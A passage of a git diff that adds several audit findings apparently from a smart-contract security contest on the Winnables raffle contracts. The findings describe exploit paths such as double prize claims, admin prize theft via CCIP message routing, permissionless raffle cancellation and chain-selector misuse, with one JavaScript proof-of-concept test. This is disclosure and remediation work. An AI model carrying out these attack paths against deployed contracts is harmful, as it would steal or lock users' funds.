+} +``` \ No newline at end of file diff --git a/001/345.md b/001/345.md new file mode 100644 index 0000000..8ab3960 --- /dev/null +++ b/001/345.md @@ -0,0 +1,90 @@ +Rural Midnight Snail + +High + +# Winners Can Successfully Call `WinnablesPrizeManager::claimPrize` Twice Before Detection, Resulting in Double Withdrawal from the Protocol + + + +## Summary +**description** The announced winner can withdraw their prize twice before the system's check prevents additional withdrawals. This issue affects both ETH and token prize withdrawals. The problem lies in the WinnablesPrizeManager::claimPrize function, which only verifies if the winner has claimed their prize after the transactions are complete. As a result, by the time the check is performed, the transactions allowing double withdrawals have already been processed. + +## Vulnerability Detail +1. plug in this PoC into the `PrizeManager.js` testing file below the following test: + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/test/PrizeManager.js#L782 + +2. This test demonstrates that we expect the claim function to revert. However, the balance before and after the second claim shows an increase, indicating that the winner was able to claim twice. The check only detects the issue after the third attempt, preventing further claims and effectively stopping the winner from claiming a third time. +
PoC + +```js +it('Can Claim twice as Winner A', async () => { + const tx = await manager.connect(winnerA).claimPrize(100); + const balance = await ethers.provider.getBalance(winnerA.address); + console.log("balance before claim 2:",ethers.utils.formatEther(balance)); + await tx.wait(); + await expect(manager.connect(winnerA).claimPrize(100)).to.be.revertedWithCustomError( + manager, 'AlreadyClaimed' + ); + const balance2 = await ethers.provider.getBalance(winnerA.address); + console.log("after claim 2:", ethers.utils.formatEther(balance2)); + + await expect(manager.connect(winnerA).claimPrize(100)).to.be.revertedWithCustomError( + manager, 'AlreadyClaimed' + ); + const balance3 = await ethers.provider.getBalance(winnerA.address); + console.log("after attempt claim 3:", ethers.utils.formatEther(balance3)); + expect(balance2 > balance3); + expect(balance2 > balance3); +}); +``` +-- console.log -- +```js +balance before claim 2: 1000000000000000000.999934706433706 +after claim 2: 1000000000000000000.999876306147968704 +after attempt claim 3: 1000000000000000000.99981796113018116 +``` + +
+ +## Impact +The impact this has on the protocol is loss of additional funds that are not expected, this is open up to all winners from any raffle. + +## Code Snippet +`WinnablesPrizeManager::claimPrize` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105 + + +## Tool used +Manual Review + +## Recommendation +The mitigation is to follow the Checks-Effects-Interactions (CEI) pattern by moving the RafflePrizeStatus check to the beginning of the claimPrize function. Additionally, before executing any transactions, the status should be updated to "claimed." This ensures that any attempt to claim a prize a second time is blocked before any transactions are made. + +```diff +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; ++ if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); +- if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` \ No newline at end of file diff --git a/001/348.md b/001/348.md new file mode 100644 index 0000000..baaf8ac --- /dev/null +++ b/001/348.md @@ -0,0 +1,103 @@ +Cheery Tangerine Bear + +Medium + +# The Winnables administrator can prevent the winner from claiming the prize. + +## Summary +The README file mentions: +> Winnables admins cannot do anything to prevent a winner from withdrawing their prize + +> The protocol working as expected relies on having an admin creating raffles. It should be expected that the admin will do their job. However it is not expected that the admin can steal funds that should have ended in a raffle participant’s wallet in any conceivable way. + +However, in reality, the Winnables administrator can successfully obtain users' ticket purchase funds and take the prize belonging to the winner, preventing the winner from claiming the prize. This does not hinder the continuation of the next round of the raffle. + +## Vulnerability Detail +The root cause of the issue is the insufficient checks on the _ccipReceive message. + +1. For the raffle with `raffleId` 1, the `propagateRaffleWinner` function in the `WinnablesTicketManager.sol` contract is called to select the winner(user1). Now, the admin can claim the ETH from users' ticket purchases. + +2. Before the CCIP message sent by the `propagateRaffleWinner` function reaches `WinnablesPrizeManager`, the administrator of `WinnablesPrizeManager` removes the `WinnablesTicketManager` contract from the _ccipContracts mapping. As a result, the DON's execution of the CCIP message to `WinnablesPrizeManager` will encounter an revert. + +3. The administrator deploys a malicious contract on Avalanche or another chain, adds it to the `_ccipContracts` mapping of `WinnablesPrizeManager`, and then sends a cross-chain message of type CCIPMessageType.RAFFLE_CANCELED to `WinnablesPrizeManager` to cancel the raffle with raffleId 1. + +4. Now, the raffle with raffleId 1 has its status set to CANCELED in `WinnablesPrizeManager`.Afterward, the administrator can claim the prize that rightfully belongs to the winner. The administrator then adds the `WinnablesTicketManager` contract back into the `_ccipContracts` mapping, which does not affect the continuation of subsequent raffles. + + +## Impact + + +For ETH and Token Prize Pools: +Such an attack can achieve its goal on the first attempt. +However, since CCIP messages can be manually executed after a revert, the winner could potentially manually execute the reverted CCIP message to correctly set themselves as the winner. Nevertheless, the claimPrize reward might still fail to be claimed due to: +1. Underflow in _ethLocked subtraction: This could cause the transaction to revert. +2. Insufficient funds in the contract: If the contract lacks the required amount to cover the prize, the transaction will also revert. + +In other words, as long as the prize pool is always slightly smaller than the previous one(1 wei), it can effectively prevent the winner from ever claiming the prize. + +For the NFT prize pool: +As long as the same tokenid NFT is not used in subsequent raffles, the winner will be permanently unable to claim the prize. + + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L265 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L280 +## Tool used + +Manual Review + +## Recommendation +To mitigate this type of attack, it is recommended to add a target chain selector and the target chain's contract address to the structure, and then verify these in the ccipReceive function. +```solidity + struct RafflePrize { + RaffleType raffleType; + RafflePrizeStatus status; + address winner; ++ bytes32 counterpart + } + + function lockNFT( + address ticketManager, + uint64 chainSelector, + uint256 raffleId, + address nft, + uint256 tokenId ++ bytes32 counterpart + ) external onlyRole(0) { + RafflePrize storage rafflePrize = _checkValidRaffle(raffleId); + if (IERC721(nft).ownerOf(tokenId) != address(this)) revert InvalidPrize(); + if (_nftLocked[nft][tokenId]) revert InvalidPrize(); + rafflePrize.raffleType = RaffleType.NFT; ++ rafflePrize.counterpart = counterpart; + _nftLocked[nft][tokenId] = true; + _nftRaffles[raffleId].contractAddress = nft; + _nftRaffles[raffleId].tokenId = tokenId; + + _sendCCIPMessage(ticketManager, chainSelector, abi.encodePacked(raffleId)); + emit NFTPrizeLocked(raffleId, nft, tokenId); + } + + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + + CCIPMessageType messageType = CCIPMessageType(uint8(message.data[0])); + uint256 raffleId; + address winner; ++ (raffleId, winner) = _decodeWinnerDrawnMessage(message.data); ++ require(_rafflePrize[raffleId].counterpart == counterpart, "Err counterpart"); + if (messageType == CCIPMessageType.RAFFLE_CANCELED) { +- raffleId = _decodeRaffleCanceledMessage(message.data); + _cancelRaffle(raffleId); + return; + } +- (raffleId, winner) = _decodeWinnerDrawnMessage(message.data); + _rafflePrize[raffleId].winner = winner; + emit WinnerPropagated(raffleId, winner); + } + +``` \ No newline at end of file diff --git a/001/350.md b/001/350.md new file mode 100644 index 0000000..b59c9a9 --- /dev/null +++ b/001/350.md @@ -0,0 +1,70 @@ +Calm Bamboo Koala + +High + +# Link token can be used as prize to prevent users from getting their prize + +## Summary +Using Link token as prize can cause underflow and break internal accounting, letting admins have the funds from ticket sales and withdraw locked link but winning player will not be able to get the prize. +## Vulnerability Detail +Whenever a Token is locked as prize a mapping is updated for how many locked tokens are in the contract, this is used to determine how many tokens admin can withdraw from the contract. +```solidity + function lockTokens( + address ticketManager, + uint64 chainSelector, + uint256 raffleId, + address token, + uint256 amount + ) external onlyRole(0) { + RafflePrize storage rafflePrize = _checkValidRaffle(raffleId); + uint256 tokenBalance = IERC20(token).balanceOf(address(this)); + if (tokenBalance < amount + _tokensLocked[token]) revert InvalidPrize(); + rafflePrize.raffleType = RaffleType.TOKEN; + unchecked { _tokensLocked[token] += amount; } //@audit keep track of locked tokens + _tokenRaffles[raffleId].tokenAddress = token; + _tokenRaffles[raffleId].amount = amount; + + _sendCCIPMessage(ticketManager, chainSelector, abi.encodePacked(raffleId)); + emit TokenPrizeLocked(raffleId, token, amount); + } +``` +Because the contract spends Link token by using CCIP, tokenBalance will decrease and the unchecked line in `withdrawToken` can underflow. This means admin can withdraw any Link tokens even if they are locked. +```solidity + function withdrawToken(address token, uint256 amount) external onlyRole(0) { + uint256 tokenBalance = IERC20(token).balanceOf(address(this)); + uint256 availableBalance; + unchecked { availableBalance = tokenBalance - _tokensLocked[token]; } + if (availableBalance < amount) revert InsufficientBalance(); + IERC20(token).safeTransfer(msg.sender, amount); + } +``` +Moreover, after the raffle concludes, winner will not be able to withdraw the prize Link tokens as the raffle amount will not be present on the contract due to CCIP usage or admin withdrawing tokens and the transfer will revert. +```solidity + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + //---omitted + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + // ---omitted--- + } + + function _sendTokenPrize(address token, uint256 amount, address winner) internal { + IERC20(token).safeTransfer(winner, amount); + } +``` +## Impact +Admin can take users funds gathered from ticket sales all the while keeping enough Link tokens in the contract so it keeps functioning, winner's prize will be locked. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L196-L213 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L218-L224 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L308 +## Tool used + +Manual Review + +## Recommendation +Disallow using Link token as prize. \ No newline at end of file diff --git a/001/351.md b/001/351.md new file mode 100644 index 0000000..a65cd6b --- /dev/null +++ b/001/351.md @@ -0,0 +1,69 @@ +Polite Mauve Lark + +High + +# admin can claim proceeds without allowing the winner to claim the prize + +### Summary + +The admin can withdraw raffle proceeds without a winner being able to claim the prize. + +### Root Cause + +In WinnablesTicketManager.sol: 334 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334 + +the `propagateRaffleWinner` function will check if a raffle is fulfilled and then the function will send the ccip message to the `WinnablesPrizeManager` on the other chain, finally the function will unlock the locked eth for the admin to withdraw, we can observe the following below +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` +As we can see the admin has the power to pick the chain selector, this is where the admin can set the chainSelector to another chain that does not have the `WinnablesPrizeManager`, this will send the ccip message to the incorrect chain and thus not allow the winner to claim the prize on the correct chain. Additionally the admin can now withdraw the proceeds all while the deserved winner cannot claim his prize. + +from the read me + +> The principles that must always remain true are: +> - Winnables admins cannot do anything to prevent a winner from withdrawing their prize +> - Participants in a raffle that got cancelled can always get refunded +> - Admins cannot affect the odds of a raffle + +The first bullet point was violated so this validates the issue. + +### Internal pre-conditions + +1. a raffle must be fulfilled +2. the prize must be locked + +### External pre-conditions + +none + +### Attack Path + +1. the oracle fulfils the random word +2. winner is picked +3. admin calls `propagateRaffleWinner` with the incorrect chainSelector +4. the locked proceeds become unlocked but the winner cannot claim the prize +5. the admin withdraws the funds + +### Impact + +Main invariant of the protocol is not holding, users are essentially robbed of their prize/ loss of user funds. + +### PoC + +_No response_ + +### Mitigation + +Allow the admin to not pick the chainSelector, this value should be set by the logic based on the raffleId to mitigate this issue. \ No newline at end of file diff --git a/001/353.md b/001/353.md new file mode 100644 index 0000000..88daefb --- /dev/null +++ b/001/353.md @@ -0,0 +1,21 @@ +Calm Bamboo Koala + +Medium + +# `cancelRaffle` function can be used to grief protocol + +## Summary +`cancelRaffle` function has no access control, can be called by a griefer to keep interrupting raffle process. +## Vulnerability Detail +After a prize is locked in prize manager, a CCIP message is sent to ticket manager which sets the raffle status to PRIZE_LOCKED in ticket manager. At this point anyone can call `cancelRaffle` to reset the raffle process, wasting Link tokens of the protocol. Because of the extra Link tokens spent, the losses protocol incur will be greater than the attacker's. + +## Impact +Raffle creation can be griefed, the imbalance in costs will damage protocol more than the attacker. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288 +## Tool used + +Manual Review + +## Recommendation +Add access control to `cancelRaffle` function. \ No newline at end of file diff --git a/001/354.md b/001/354.md new file mode 100644 index 0000000..8ffd46d --- /dev/null +++ b/001/354.md @@ -0,0 +1,44 @@ +Helpful Rose Chicken + +High + +# An attacker will claim nft prizes from canceled raffles, resulting in a loss for the protocol. + +### Summary + +The missing check for rafflePrize.status in the claimPrize() function will cause unauthorized prize claims for the protocol as an attacker can claim prizes from canceled raffles by simply providing a valid raffle ID. + + + +### Root Cause + +In [WinnablesPrizeManager.sol:111](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L111), there is a missing status check in the claimPrize() function that should verify if the raffle has been canceled before allowing the prize to be claimed. + +[WinnablesPrizeManager.sol:L285](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L285) also in cancelRaffle() it only set _nftlocked to false, which it still exist in the contract. + +### Internal pre-conditions + +Users call to cancelRaffle() to set the raffle status to CANCELED. + + +### External pre-conditions + +Attacker has knowledge of a canceled raffleId. + + +### Attack Path + +users calls cancelRaffle() and marks the raffle as CANCELED. +The attacker identifies a canceled raffle id by monitoring the blockchain for PrizeUnlocked() events. +The attacker calls claimPrize() with the canceled raffle ID and successfully receives the prize. + +### Impact +The protocol suffers a loss of valuable NFTs as the attacker gains access to canceled raffle prizes, potentially including rare or high-value assets, leading to financial loss and disruption to the raffle system. + +### PoC + +_No response_ + +### Mitigation + +Add a check in the claimPrize() function to ensure the raffle's status is not CANCELED before proceeding with the prize distribution. \ No newline at end of file diff --git a/001/355.md b/001/355.md new file mode 100644 index 0000000..7162846 --- /dev/null +++ b/001/355.md @@ -0,0 +1,68 @@ +Fresh Corduroy Bird + +High + +# lockedETH is not reduced in refundPlayers function + +## Summary +In refundPlayers function of WinnableTickerManager contract _lockedETH is not reduced when ETH is refunded to users for cancelled Raffles. Due to this Admin cannot withdraw the ETH collected for passed Raffles + +## Vulnerability Detail + +In `refundPlayers` function when ETH is refunded to players `_lockedETH` should be reduced by refunded ETH amount. But it is not being reduced in the refundPlayers function. + +**PoC**: + +1. Admin created Raffle 1 and Raffle 2. +2. Raffle 1 collected 10 ETH from tickets. +3. _lockedETH is now 10 ETH. +4. Raffle 2 collected 15 ETH from tickets. +5. _lockedETH is now 25 ETH +6. Raffle 1 is cancelled as it didn't reach min ticket threshold. +7. Players of Raffle 1 claimed their 10 ETH refund for Raffle 1. +8. But _ethLocked is still 25 ETH as it isn't reduced in `refundPlayers` function. +9. Now Raffle 2 is completed and winner is propagated so `_ethLocked` is reduced by 15 ETH. + +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { +@> _lockedETH -= raffle.totalRaised; + } + } +``` + +10. At this point contract has 15 ETH and admin should be able to claim all of it but the admin can only claim 5 ETH because _lockedETH is still 10ETH. + +```solidity + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { +@> balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } +``` + + +## Impact +ETH will be get stuck in the `TickerManager` contract forever. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L303 + +## Tool used + +Manual Review + +## Recommendation +Reduced `_lockedETH` when players claim their refund. \ No newline at end of file diff --git a/001/356.md b/001/356.md new file mode 100644 index 0000000..51c6a12 --- /dev/null +++ b/001/356.md @@ -0,0 +1,58 @@ +Suave Bronze Monkey + +Medium + +# Incorrect use of arithmatic comparison operator in `WinnablesTicketManager` contract causes a restriction for an admin that admin can withdraw only full LINK token balance of contract. + +### Summary + +Incorrect use of arithmatic comparison operator in `WinnablesTicketManager` contract causes a restriction for an admin that admin can withdraw only full LINK token balance of contract. +If admin withdraws full LINK token balance from the contract, then contract can't send any CCIP message due to lack of fee. +Any transaction to withdraw a specific part of balance will be reverted to this issue, so admin can't withdraw LINK token. + +### Root Cause + +In [WinnablesTicketManager::withdrawTokens - L295](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L295), `<` operator was used instead of `>`. +```solidity + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount < balance) revert InsufficientBalance(); +``` +- As you can see in above code, following condition should be met for withdrawal. `amount >= balance` +- However, maximum withdrawal amount is just 'balance', so amount should not be greater than 'balance'. `amont <= balance`. +So Admin should withdraw all balance of token to withdraw successfully. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Admin can't withdraw a part of LINK token balance from the contract, but only full balance. +If admin withdraws full LINK token balance from the contract, then contract can't send any CCIP message due to lack of fee. +Any transaction to withdraw a part of balance will be reverted to this issue, so admin can't withdraw LINK token. + +### PoC + +_No response_ + +### Mitigation + +Please use correct operator. +```diff + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); +- if (amount < balance) revert InsufficientBalance(); ++ if (amount > balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` \ No newline at end of file diff --git a/001/357.md b/001/357.md new file mode 100644 index 0000000..5fd9694 --- /dev/null +++ b/001/357.md @@ -0,0 +1,58 @@ +Polite Mauve Lark + +High + +# Malicious user can cancel raffle with incorrect chain selector to Make the prize be stuck + +### Summary + +Malicious user can cancel raffle with incorrect chain selector to Make the prize be stuck + +### Root Cause + +in WinnablesTicketManager.sol ln 278 +https://github.com/Winnables/public-contracts/blob/267dd06e2d5636f30e3311c46ed24b76ac6614c5/contracts/WinnablesTicketManager.sol#L278 + +any user can cancel a raffle if it is eligible to be canceled. When calling the function `cancelRaffle`, the function sets the raffles status to canceled and then the function sends a ccip message to the chosen chain, this message will then call the ccip receive on the chosen chain and cancel the raffle and then unlocking the prize. this can be observed below +```solidity + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +The problem is that the user is free to pick the chainSelector, this is a problem because the user can input the incorrect chain and the message will be sent to a chain where there is no contract. This will cause the raffle to not be able to be canceled on the correct destination chain and therefore the prize will never be unlocked. This means any malicious user can essentially lock the prize in the contract forever. + + +### Internal pre-conditions + +1. the raffle should be eligible to be canceled + +### External pre-conditions + +none + +### Attack Path + +1. the raffle did not reach enough ticket sales +2. malicious user calls `cancelRaffle` on the WinnablesTicketManager contract with the incorrect chainSelector +3. the users will be able to refund their ticket proceeds +4. the winnablesPrizeManager contract on the correct chain will never receive the ccip message and the prize will remain locked + +### Impact + +Malicious user can easily lock the prize from the raffle forever + +### PoC + +_No response_ + +### Mitigation + +do not allow users to select the chainSelector when calling `cancelRaffle` \ No newline at end of file diff --git a/001/358.md b/001/358.md new file mode 100644 index 0000000..9770387 --- /dev/null +++ b/001/358.md @@ -0,0 +1,62 @@ +Fresh Corduroy Bird + +High + +# An attacker can propagate the winner to a wrong chain to lock the prize. + +## Summary +In `TicketManager` contract anyone can call `propagateRaffleWinner` function to propagate winner to the ETH chain by sending a CCIP message. But as the user can select the `chainSelector`, an attacker can send the message to the wrong chain to lock the prize on the ETH Mainnet forever. + +## Vulnerability Detail +When propagating winner an attacker can propagate the message to the wrong which will change the status of Raffle to PROPAGATED and so the winner cannot be propagated to correct chain(ETH) anymore and prize in the ETH chain will be locked forever. + +```solidity + // @audit-issue An attacker can propagate the winner to a wrong chain to lock the prize. + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` +The same issue also exists in `cancelRaffle` function where the attacker can send cancelRaffle message to wrong chain to make the prize stuck in the prizeManager contract on ETH chain forever. + +```solidity + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +**PoC** +1. Admin locks 10 ETH in prizeManager contract in ETH chain and creates Raffle on Avalanche with that locked prize. +2. After Raffle ends the send propagate winner message to Polygon chain instead of sending it to ETH. +3. Raffle status is changed to PROPAGATED after attacker sends that message to Polygon. +4. Now winner cannot be propagated to ETH chain anymore and that 10 ETH will be locked forever on ETH chain. + +## Impact +Prize in the ETH chain will be locked forever. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345 + +## Tool used + +Manual Review + +## Recommendation +When sending messages to source chain instead of letting the user select `chainSelector` save and fetch it from Raffle. And only allow messages to that chain where prize for that Raffle is locked \ No newline at end of file diff --git a/001/360.md b/001/360.md new file mode 100644 index 0000000..05ad7f8 --- /dev/null +++ b/001/360.md @@ -0,0 +1,33 @@ +Refined Violet Tardigrade + +High + +# Incorrect Condition in `WinnablesTicketManager::withdrawTokens` Function Causes Token Transfer Failure + +## Description + +The `WinnablesTicketManager::withdrawTokens` function contains a logical error in the condition that checks whether the requested withdrawal amount exceeds the contract's token balance. The current condition is written as `if (amount < balance) revert InsufficientBalance();`, which is incorrect. This causes the function to transfer tokens when the requested amount is greater than the balance, which is both incorrect and dangerous. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L290C3-L297C6 + +## Impact + +This issue causes tokens transfer failure in the contract because if the requested amount is greater than the contract’s balance, it will incorrectly proceed with the transfer which will fail. If the amount is less than the balance, it will incorrectly revert the transaction with the `InsufficientBalance()` error. As a result, token transfers are effectively impossible under this faulty logic. + +## Tool used + +Manual Review + +## Recommendation + +To correct the logic, the condition should be modified to properly check if the requested amount is greater than the contract's balance so then it will revert otherwise it transfer tokens. The corrected condition should be: +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L290C3-L297C6 +```diff + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + + uint256 balance = token.balanceOf(address(this)); +- if (amount < balance) revert InsufficientBalance(); ++ if (amount > balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` \ No newline at end of file diff --git a/001/361.md b/001/361.md new file mode 100644 index 0000000..507bd7b --- /dev/null +++ b/001/361.md @@ -0,0 +1,46 @@ +Fresh Corduroy Bird + +High + +# Anybody can cancel raffles if it is in PRIZE_LOCKED state + +## Summary +An attacker can prevent Raffles from happening by canceling every Raffle which is in `PRIZE_LOCKED` state by calling CancelRaffle function right after CCIP prize locked message arrives Avalanche chain causing DoS. + +## Vulnerability Detail + +Raffle status will be set to `PRIZE_LOCKED` right after the CCIP prize locked message is delivered to `TicketManager` contract on Avalanche from `PrizeManager` contract on ETH Mainnet. But if the Raffle is in `PRIZE_LOCKED` anybody can cancel it as `_checkShouldCancel` function returns without making any checks. So an attacker can prevent Raffles from happening forever by calling calling `cancelRaffle` function right after the CCIP message delivers to `TicketManager` contract. + +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + // @audit-issue anybody can cancel raffles if it is in PRIZE_LOCKED state + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` + +**PoC** + +1. Admin locks 10 ETH on ETH Mainnet. +2. A CCIP prize locked message is sent to Avalanche from ETH Mainnet +3. `TicketManager` contract on Avalanche receives that CCIP messages and changes the status of Raffle to `PRIZE_LOCKED`. +4. Attacker calls `cancelRaffle` and the Raffle will be cancels as it is in `PRIZE_LOCKED` state. +5. Attacker can stop Raffles from happening forever by canceling each and every Raffle like this. + +## Impact +An attacker can prevent Raffles from happening forever causing DoS + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L436 + +## Tool used + +Manual Review + +## Recommendation +Remove this line `if (raffle.status == RaffleStatus.PRIZE_LOCKED) return;` or add access control to `cancelRaffle` function. diff --git a/001/362.md b/001/362.md new file mode 100644 index 0000000..59639c5 --- /dev/null +++ b/001/362.md @@ -0,0 +1,47 @@ +Helpful Rose Chicken + +High + +# propagateRaffleWinner Vulnerable to Repeated Calls Due to Missing Status Recheck + +### Summary + +The propagateRaffleWinner function can be called multiple times because it does not reset raffle.totalRaised to 0 and does not recheck the raffle status, allowing an attacker to repeatedly trigger prize propagation and cause financial loss. + +### Root Cause + +[WinnablesTicketManager.sol#L337](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L337), the propagateRaffleWinner function sets the raffle status to PROPAGATED without checking if it has been propagated. +Additionally, it does not reset raffle.totalRaised to 0, leading to potential re-execution of prize propagation. + + +### Internal pre-conditions + +The propagateRaffleWinner function is called with a valid raffleId for a raffle that has not been fully processed. +The raffle status must be FULFILLED before the function is called. +The totalRaised amount is not reset to 0 after propagation. + +### External pre-conditions + +The prize manager contract must be available to receive cross-chain messages. +Chainlink Request ID must be valid for fetching the winner. + +### Attack Path + +An attacker calls propagateRaffleWinner with a raffleId that is in the FULFILLED status. +Since raffle.status is only set to PROPAGATED without checking if it was already set, the function can be called multiple times. +Each call subtracts the raffle.totalRaised amount from _lockedETH, potentially draining funds. + +### Impact + +The protocol suffers a loss of locked ETH, as the function allows multiple deductions from _lockedETH due to repeated calls. This can lead to financial loss and potential imbalance in 